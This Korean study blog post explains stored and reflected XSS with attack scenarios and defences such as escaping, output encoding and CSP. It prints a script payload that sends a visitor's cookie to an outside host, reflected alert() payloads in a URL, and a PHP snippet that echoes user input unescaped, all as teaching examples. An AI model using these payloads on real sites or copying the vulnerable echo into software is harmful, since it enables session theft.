[모의해킹 스터디] 9주차 정리

바울·2024년 12월 17일
0

모의해킹 스터디

목록 보기
25/40

XSS: Cross Site Scripting?

XSS는 공격자가 웹사이트에 악성 스크립트를 삽입하여 다른 사용자가 이를 실행하도록 유도하는 공격 기법입니다. 주로 JavaScript를 사용하지만, HTML, CSS 등을 활용해 피해를 발생시킬 수 있습니다. XSS는 사용자 브라우저에서 실행되기 때문에 사용자 데이터 탈취나 세션 하이재킹 등의 심각한 보안 문제를 일으킬 수 있습니다.

XSS의 주요 유형

  1. Stored XSS (저장형 XSS)
  2. Reflected XSS (반사형 XSS)
  3. DOM-based XSS (DOM 기반 XSS)

Stored XSS (저장형 XSS)

저장형 XSS는 악성 스크립트가 서버에 저장된 후 다른 사용자에게 전달되는 방식입니다. 공격자가 작성한 악성 코드가 데이터베이스 또는 서버 파일 시스템에 저장되며, 이후 웹사이트가 이를 읽어서 사용자에게 출력할 때 실행됩니다.

공격 시나리오

  1. 공격자가 웹사이트의 게시판, 댓글, 프로필 입력란 등에 악성 스크립트를 삽입합니다.
<script>alert('xss attack!');</script>
  1. 이 입력 데이터가 서버에 저장되고, 해당 페이지를 다른 사용자가 열람하면 악성 스크립트가 실행됩니다.

  2. 스크립트는 쿠키 탈취, 피싱 페이지 리디렉션, 악성 광고 삽입 등의 공격을 수행할 수 있습니다.

피해 예시

예를 들어, 게시판에 다음과 같은 악성 스크립트를 포함한 댓글이 저장되었다고 가정합니다.

<script>document.location='http://bawool.com/steal?cookie=' + document.cookie;</script>
  • 다른 사용자가 게시판을 열람할 때 브라우저에서 해당 스크립트가 실행되어 사용자의 쿠키가 공격자 서버로 전송됩니다.

  • 이를 통해 공격자는 사용자의 세션을 탈취할 수 있습니다.

방어 방법

  1. 입력값 검증
  • 사용자의 입력값에 대해 HTML 특수문자를 이스케이프 처리해야 합니다.
  • 예: <는 (&)lt;, >는 (&)gt;로 변환합니다.
  1. 출력값 인코딩
  • 서버에서 출력할 때 HTML, JavaScript, URL에 적합한 인코딩을 적용합니다.
  1. Content Security Policy (CSP) 설정
  • 브라우저가 허용된 소스의 스크립트만 실행하도록 CSP를 설정합니다.

Reflected XSS (반사형 XSS)

반사형 XSS는 사용자 입력이 서버에서 즉시 반사되어 출력될 때 발생합니다. 주로 검색 결과, 오류 메시지, URL 파라미터 등을 통해 악성 코드가 전달됩니다.

공격 시나리오

  1. 공격자가 URL에 악성 스크립트를 포함한 링크를 생성합니다.
http://bawool.com/search?query=<script>alert('xss attack!');</script>
  1. 사용자가 이 링크를 클릭하면 웹사이트가 query 파라미터 값을 그대로 출력하여 악성 스크립트가 실행됩니다.

  2. 피해자 브라우저에서 스크립트가 실행되어 쿠키 탈취, 키로깅 등의 공격이 발생합니다.

피해 예시

예를 들어, 검색 결과 페이지가 다음과 같이 사용자 입력을 출력한다고 가정합니다.

<?php
    $query = $_GET['query'];
    echo "검색 결과: " . $query;
?>

공격자는 다음과 같은 링크를 만들어 피해자에게 보냅니다.

http://bawool.com/search?query=<script>alert('xss attack!');</script>
  • 피해자가 링크를 클릭하면 브라우저는 alert('xss attack!')을 실행합니다.
  • 이를 통해 공격자는 피해자를 속여 악성 스크립트를 실행하게 만들 수 있습니다.

방어 방법

  1. 입력값 검증 및 필터링
  • 사용자 입력값에서 <, >, &, ', " 등의 특수 문자를 필터링하거나 이스케이프 처리합니다.
  1. 출력 시 HTML 인코딩 적용
  • PHP에서는 htmlspecialchars() 함수를 사용해 XSS를 방지합니다.
echo htmlspecialchars($query, ENT_QUOTES, 'UTF-8');
  1. URL 파라미터 검증
  • URL 파라미터를 처리할 때 허용된 값만 전달하도록 합니다.

0개의 댓글